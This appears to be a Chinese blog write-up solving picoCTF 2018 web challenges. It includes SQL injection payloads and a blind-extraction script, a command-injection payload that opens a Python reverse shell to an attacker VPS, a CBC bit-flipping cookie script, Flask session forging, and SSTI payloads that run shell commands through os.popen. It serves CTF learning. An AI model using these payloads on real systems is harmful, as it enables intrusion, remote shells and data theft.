picoCTF2018 web wp

空了好几个月终于有时间刷题了,这里先拿picoCTF来暖下手(虽然说是给高中生的,不过还是学了一波SSTI)

P.S. 那几道SSTI的题不知道的payload为什么更新时会报错就加了空格,怕是hexo自己调用了orz。反正有空格删掉就好

Inspect Me

F12看到注释里提示了学了html和css、js,那就去这些文件里找flag

Logon

先随便尝试个用户名和密码输入,发现登陆成功但没有权限

于是用抓包登录,发现重定向到flag页面,同时设置了个admin变量在cookie

于是修改为true发送到flag页面得flag

Irish Name Repo

打开找到admin登录界面

尝试万能密码登录成功

payload: username=admin&password=1'or '1'='1

Mr. Robots

打开robots.txt即可

Client Side is Still Bad

F12找到一串js里组合就有flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function verify() {
checkpass = document.getElementById("pass").value;
split = 4;
if (checkpass.substring(split*7, split*8) == '}') {
if (checkpass.substring(split*6, split*7) == '17e9') {
if (checkpass.substring(split*5, split*6) == 'd_91') {
if (checkpass.substring(split*4, split*5) == 's_ba') {
if (checkpass.substring(split*3, split*4) == 'nt_i') {
if (checkpass.substring(split*2, split*3) == 'clie') {
if (checkpass.substring(split, split*2) == 'CTF{') {
if (checkpass.substring(0,split) == 'pico') {
alert("You got the flag!")
}
}
}
}
}
}
}
}else {
alert("Incorrect password");
}
}

No Login

进去点flag就有了??? 然后弄了一下又没了???
大概这才是常规吧,登陆和登出页面都用不了,就抓包看看。
发现有个session变量,试着base64解密发现不行

搞了好久才知道是jwt加密,用于json安全的加密,去官网能直接解密【那还有啥用???

和之前题一样,在cookie加个admin=1就行

Secret Agent

点flag说我不是google,然后给出来我的user-agent。于是就试chrome发现不行,referer修改也不行。最后用谷歌爬虫 googlebot 作为user-agent才ok

Buttons

两个按钮,一个是表单一个是链接,把链接修改成表单就好

The Vault

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 'On');

include "config.php";
$con = new SQLite3($database_file);

$username = $_POST["username"];
$password = $_POST["password"];
$debug = $_POST["debug"];
$query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";

if (intval($debug)) {
echo "<pre>";
echo "username: ", htmlspecialchars($username), "\n";
echo "password: ", htmlspecialchars($password), "\n";
echo "SQL query: ", htmlspecialchars($query), "\n";
echo "</pre>";
}

//validation check
$pattern ="/.*['\"].*OR.*/i";
$user_match = preg_match($pattern, $username);
$password_match = preg_match($pattern, $username);
if($user_match + $password_match > 0) {
echo "<h1>SQLi detected.</h1>";
}
else {
$result = $con->query($query);
$row = $result->fetchArray();

if ($row) {
echo "<h1>Logged in!</h1>";
echo "<p>Your flag is: $FLAG</p>";
} else {
echo "<h1>Login failed.</h1>";
}
}

?>

读一下过滤了xxx’xxxorxxx 这种字符串,就不允许万能密码。
不过这题解法挺多的,提供一种
payload:
username=a' /*&password=*/or 1=1 limit 1 or '

Artisinal Handcrafted HTTP 3

好像服务器炸了

Flaskcards

不知道有flask这个框架让我搞了好久,flask是个python的框架,于是找找SSTI漏洞

尝试在url上添加 2 并未报错
注册 2 账号并登录后也没变
最后在create card处将question和answer设为 2
查看list card时发现都成了2,说明可以注入。

于是尝试 { { config.item() } } ,成功在secretkey找到flag

fancy-alive-monitoring

进去后可以看到有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<html>
<head>
<title>Monitoring Tool</title>
<script>
function check(){
ip = document.getElementById("ip").value;
chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);
if (!chk) {
alert("Wrong IP format.");
return false;
} else {
document.getElementById("monitor").submit();
}
}
</script>
</head>
<body>
<h1>Monitoring Tool ver 0.1</h1>
<form id="monitor" action="index.php" method="post" onsubmit="return false;">
<p> Input IP address of the target host
<input id="ip" name="ip" type="text">
</p>
<input type="button" value="Go!" onclick="check()">
</form>
<hr>

<?php
$ip = $_POST["ip"];
if ($ip) {
// super fancy regex check!
if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) {
exec('ping -c 1 '.$ip, $cmd_result);
foreach($cmd_result as $str){
if (strpos($str, '100% packet loss') !== false){
printf("<h3>Target is NOT alive.</h3>");
break;
} else if (strpos($str, ', 0% packet loss') !== false){
printf("<h3>Target is alive.</h3>");
break;
}
}
} else {
echo "Wrong IP Format.";
}
}
?>
<hr>
<a href="index.txt">index.php source code</a>
</body>
</html>

js部分的过滤直接无视,然后读php部分的
就要求前面的是一个ip,不过没有$结尾于是可以往后面继续加命令

payload:
ip=0.0.0.0;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_vps_ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

反弹shell后

读取找到flag

Secure Logon

先登进去看看,提示了cookie

应该是要把admin的只弄为1就行

然后读一下源码,是CBC加密,应该又是一道CBC翻转的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from flask import Flask, render_template, request, url_for, redirect, make_response, flash
import json
from hashlib import md5
from base64 import b64decode
from base64 import b64encode
from Crypto import Random
from Crypto.Cipher import AES

app = Flask(__name__)
app.secret_key = 'seed removed'
flag_value = 'flag removed'

BLOCK_SIZE = 16 # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]


@app.route("/")
def main():
return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.form['user'] == 'admin':
message = "I'm sorry the admin password is super secure. You're not getting in that way."
category = 'danger'
flash(message, category)
return render_template('index.html')
resp = make_response(redirect("/flag"))

cookie = {}
cookie['password'] = request.form['password']
cookie['username'] = request.form['user']
cookie['admin'] = 0
print(cookie)
cookie_data = json.dumps(cookie, sort_keys=True)
encrypted = AESCipher(app.secret_key).encrypt(cookie_data)
print(encrypted)
resp.set_cookie('cookie', encrypted)
return resp

@app.route('/logout')
def logout():
resp = make_response(redirect("/"))
resp.set_cookie('cookie', '', expires=0)
return resp

@app.route('/flag', methods=['GET'])
def flag():
try:
encrypted = request.cookies['cookie']
except KeyError:
flash("Error: Please log-in again.")
return redirect(url_for('main'))
data = AESCipher(app.secret_key).decrypt(encrypted)
data = json.loads(data)

try:
check = data['admin']
except KeyError:
check = 0
if check == 1:
return render_template('flag.html', value=flag_value)
flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success")
return render_template('not-flag.html', cookie=data)

class AESCipher:
"""
Usage:
c = AESCipher('password').encrypt('message')
m = AESCipher('password').decrypt(c)
Tested under Python 3 and PyCrypto 2.6.1.
"""

def __init__(self, key):
self.key = md5(key.encode('utf8')).hexdigest()

def encrypt(self, raw):
raw = pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(raw))

def decrypt(self, enc):
enc = b64decode(enc)
iv = enc[:16]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(enc[16:])).decode('utf8')

if __name__ == "__main__":
app.run()

抓包拿cookie,然后写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*- coding:utf8 -*-  
import time
import base64
from hashlib import md5
from Crypto.Cipher import AES
import requests

cookie = "ljuA5nPE+JMCA38qG+4L4eJXBzTKNeUFEnDCczMdmk/1E30y7aHzVco36XWTwgA01dZOW+emMzr1Rtgzd3uGtqXNE+Zuh/WmBqkn1BZ6lnI="
v = base64.b64decode(cookie)
raw = v[0:16]
url = r'http://2018shell.picoctf.com:13747/flag'
for i in range(len(raw)):
print i
admin = ord(raw[i])^ord("0")^ord("1")
new_raw = raw[:i]+chr(admin)+raw[i+1:]
new_cookie = base64.b64encode(new_raw+v[16:])
print new_cookie
cookie_new = {'cookie': new_cookie}
http = requests.get(url,cookies=cookie_new)
print http.content
time.sleep(3)

这里不是很确定要改的位置在哪,于是先尝试把第一份加密的给翻转看看

在第十一个字符处得到flag

Flaskcards Skeleton Key

又是一个flask的题,提示了Secret_Key

查一下得知时用来加密session用的密钥,具体的加密方式可以看这:从HCTF两道Web题谈谈flask客户端session机制

不太会用flask这个模块于是找了大佬的脚本来用 flask-session-cookie-manager

1
2
python3 session_cookie_manager.py decode -c ".eJwlj1GqAjEMAO_Sbz-atGkSL7M0TYIiKOzq1-Pd3QUPMMPMX9lyj-NWru_9E5ey3b1cSwS2yUzedJpVpFiuntO8gvtIbaKGmD2qqLYAFSTN1cdMkJlZbWgScDAZCUwZjQWNI8OwgVNmiFEd0mRlr97ZgDiqcQfDcinr2HN7vx7xPHt8xJAEOKE2ZmPva6FqX-SzYx2--FSzn9zniP030cv_FzvlQBQ.D0GgCg.VBqx4_6AB25d4XZCiBbQD5xnXLM" -s "a7a8342f9b41fcb062b13dd1167785f8"
{'_fresh': True, '_id': 'ee23a775d39abb025ecd9dfabd01dd6f9389b22f4e08993e198259fc46af18aff0b69f517e75b581a863782b7efeb231d5ffe8b506838cf40d47b157e0b741b2', 'csrf_token': 'd6e68f11fe836a37d4cc2994c5da4206dc77ef7d', 'user_id': '4'}

解密后没有admin值,但有个user_id是一个数字,猜测是用户注册的顺序,于是修改成1加密

1
2
python3 session_cookie_manager.py encode -t "{'_fresh': True, '_id': 'ee23a775d39abb025ecd9dfabd01dd6f9389b22f4e08993e198259fc46af18aff0b69f517e75b581a863782b7efeb231d5ffe8b506838cf40d47b157e0b741b2', 'csrf_token': 'd6e68f11fe836a37d4cc2994c5da4206dc77ef7d', 'user_id': '1'}" -s "a7a8342f9b41fcb062b13dd1167785f8"
.eJwlj1GqAjEMAO_Sbz-atGkSL7M0TYIiKOzq1-Pd3QUPMMPMX9lyj-NWru_9E5ey3b1cSwS2yUzedJpVpFiuntO8gvtIbaKGmD2qqLYAFSTN1cdMkJlZbWgScDAZCUwZjQWNI8OwgVNmiFEd0mRlr97ZgDiqcQfDcinr2HN7vx7xPHt8xJAEOKE2ZmPva6FqX-SzYx2--FSzn9zniP03AeX_CzvcQBE.XGAXyw.ytvd2GBqnDENvL2XOXWVQGZOC6c

提交,然后访问admin成功得到flag

Help Me Reset 2

点进去有修改密码页面以为是要二次注入,然而没发现注册页面
然后修改页面尝试了一堆用户名都不行,尝试各种注入不行

最后回到主页F12发现一段注释着网站维护者,于是尝试一下成功进入到问题界面

答案当然是不可能猜到的,抓个包看看发现和上题一样的加密,解密一下得到问题的答案

1
2
python3 session_cookie_manager.py decode -c ".eJw9jlEKg0AMRK8i-d4PsdCKV-gRWpG4Rl26bkp2VYp492Yp9CcThpeZHGBXEQoJGrDsWcDAm2N0vSdoHmBRFnyRujMJq4zMg8qPbQ2Im-bUWV5zRGlgjSTdgAmhOaBIOWMURyEfVXV9qcpbfS3BKPoh73lX3wmHYsGg692hTs99TJR_GXBz8RmgPQ3sik3_qvMLPSc8FQ.D0Gy1Q.g9xPDX5IEC_3C2cGc7gvL3gzZ_U"
b'{"current":"color","possible":["carmake","hero","food","color"],"right_count":0,"user_data":{" t":["friend","2883207860",0,"yellow","iron man","Kia","lobster","davis\\n"]},"wrong_count":0}'

当然顺序是不对的,认真分析一下然后成功修改密码登录得flag

A Simple Question

F12后可以找到源码,读源码是个没有任何过滤的查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include "config.php";
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 'On');

$answer = $_POST["answer"];
$debug = $_POST["debug"];
$query = "SELECT * FROM answers WHERE answer='$answer'";
echo "<pre"; echo "SQL query: ", htmlspecialchars($query), "\n"; echo "";
?>
<?php
$con = new SQLite3($database_file);
$result = $con->query($query);
$row = $result->fetchArray();
if($answer == $CANARY) {
echo "Perfect!";
echo "Your flag is: $FLAG";
} elseif ($row) {
echo "You are so close.";
} else {
echo "Wrong.";
}
?>

CANARY这个变量估计在config.php里,访问config.php没东西,于是尝试sql注入

可能是SQLite这个数据库没有database()这个函数,不过还好源码给了表名和列名,于是试试看盲注查这个列里的值
然而这个数据库里ascii()也没有,不过hex()有,然后写脚本发现总是出错。在浏览器那试了一下发现对比的hex()里要是字符,数字全会为wrong,明明本地的数据库可以直接数字对比的orz(就是要hex(‘4’),不能hex(4))。那就不能二分查了,只能一个个顺序查

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# -*- coding:utf8 -*-  
import requests
import re
import time

url = r'http://2018shell.picoctf.com:2644/answer2.php'



for i in range(10):

l1 = 0
r1 = 100
l2 = 0
r2 = 99

while(l1<=r1):
mid1 = (l1 + r1)/2
payload = "-1' or (select length(answer) from answers limit "+str(i)+",1)="+str(mid1)+" or '"
print payload
data = {'answer': payload,'debug': 0}
try:
http = requests.post(url,data=data,timeout=5)
except requests.exceptions.Timeout:
for p in range(1, 10):
print "p"+str(p)
try:
http = requests.post(url,data=data,timeout=5)
time.sleep(5)
except requests.exceptions.Timeout:
pass
if http.content:
break
time.sleep(1)
content = http.content
plain = re.findall(r"<h1>(.*?)</h1>",content)[0]
if(plain == "You are so close."):
break
else:
payload = "-1' or (select length(answer) from answers limit "+str(i)+",1)>"+str(mid1)+" or '"
print payload
data = {'answer': payload,'debug': 0}
try:
http = requests.post(url,data=data,timeout=5)
except requests.exceptions.Timeout:
for p in range(1, 10):
print "p"+str(p)
http = requests.post(url,data=data,timeout=5)
time.sleep(5)
time.sleep(1)
content = http.content
plain = re.findall(r"<h1>(.*?)</h1>",content)[0]
if plain == "You are so close.":
l1 = mid1 + 1
else:
r1 = mid1 - 1

if mid1==0:
break
print
print str(i)+":"+str(mid1)
k = ''

for j in range(mid1):
for q in range(33,127):
if (q>=48 and q<=57) or (q>=65 and q<=90) or (q>=97 and q<=122):
payload = "-1' or substr((select answer from answers limit "+str(i)+",1),"+str(j+1)+",1)='"+chr(q)+"' or '"
print payload
data = {'answer': payload,'debug': 0}
try:
http = requests.post(url,data=data,timeout=5)
except requests.exceptions.Timeout:
for p in range(1, 10):
print "p"+str(p)
try:
http = requests.post(url,data=data,timeout=5)
time.sleep(5)
except requests.exceptions.Timeout:
pass
if http.content:
break
time.sleep(1)
content = http.content
plain = re.findall(r"<h1>(.*?)</h1>",content)[0]
if plain == "You are so close.":
break

print
k = k+chr(q)
print k

print

写得有点渣orz

payload:
-1' or (select length(answer) from answers limit 0,1)>0 or '
-1' or substr((select answer from answers limit 0,1),1,1)='4' or '

跑出就一个值41AndSixSixths,填入得flag

LambDash 3

好像炸了

Flaskcards and Freedom

本来以为不能SSTI了,但试了一下可以,不过这次 { { config.item() } } 就不能得到flag

于是继续注入

得到 (<class 'str'>, <class 'object'>)
得到 <class 'object'>
{ { ''.__class__.__mro__[-1].__subclasses__() } } 得到一大堆继承类

然后查一下能有os模块的类,然而没找到。不过除了os,我们还可以找sys模块的(因为sys中有os)。然后可以用popen()来执行命令,read()来读取结果

我找到一个位置在591的类,于是

{ { ''.__class__.__mro__[-1].__subclasses__()[591].__init__.__globals['sys']__.modules['os'].popen('ls').read() } } 得到 app flag server.py xinet_startup.sh

最后读取flag文件得flag

payload:
{ { ''.__class__.__mro__[-1].__subclasses__()[591].__init__.__globals['sys']__.modules['os'].popen('cat flag').read() } }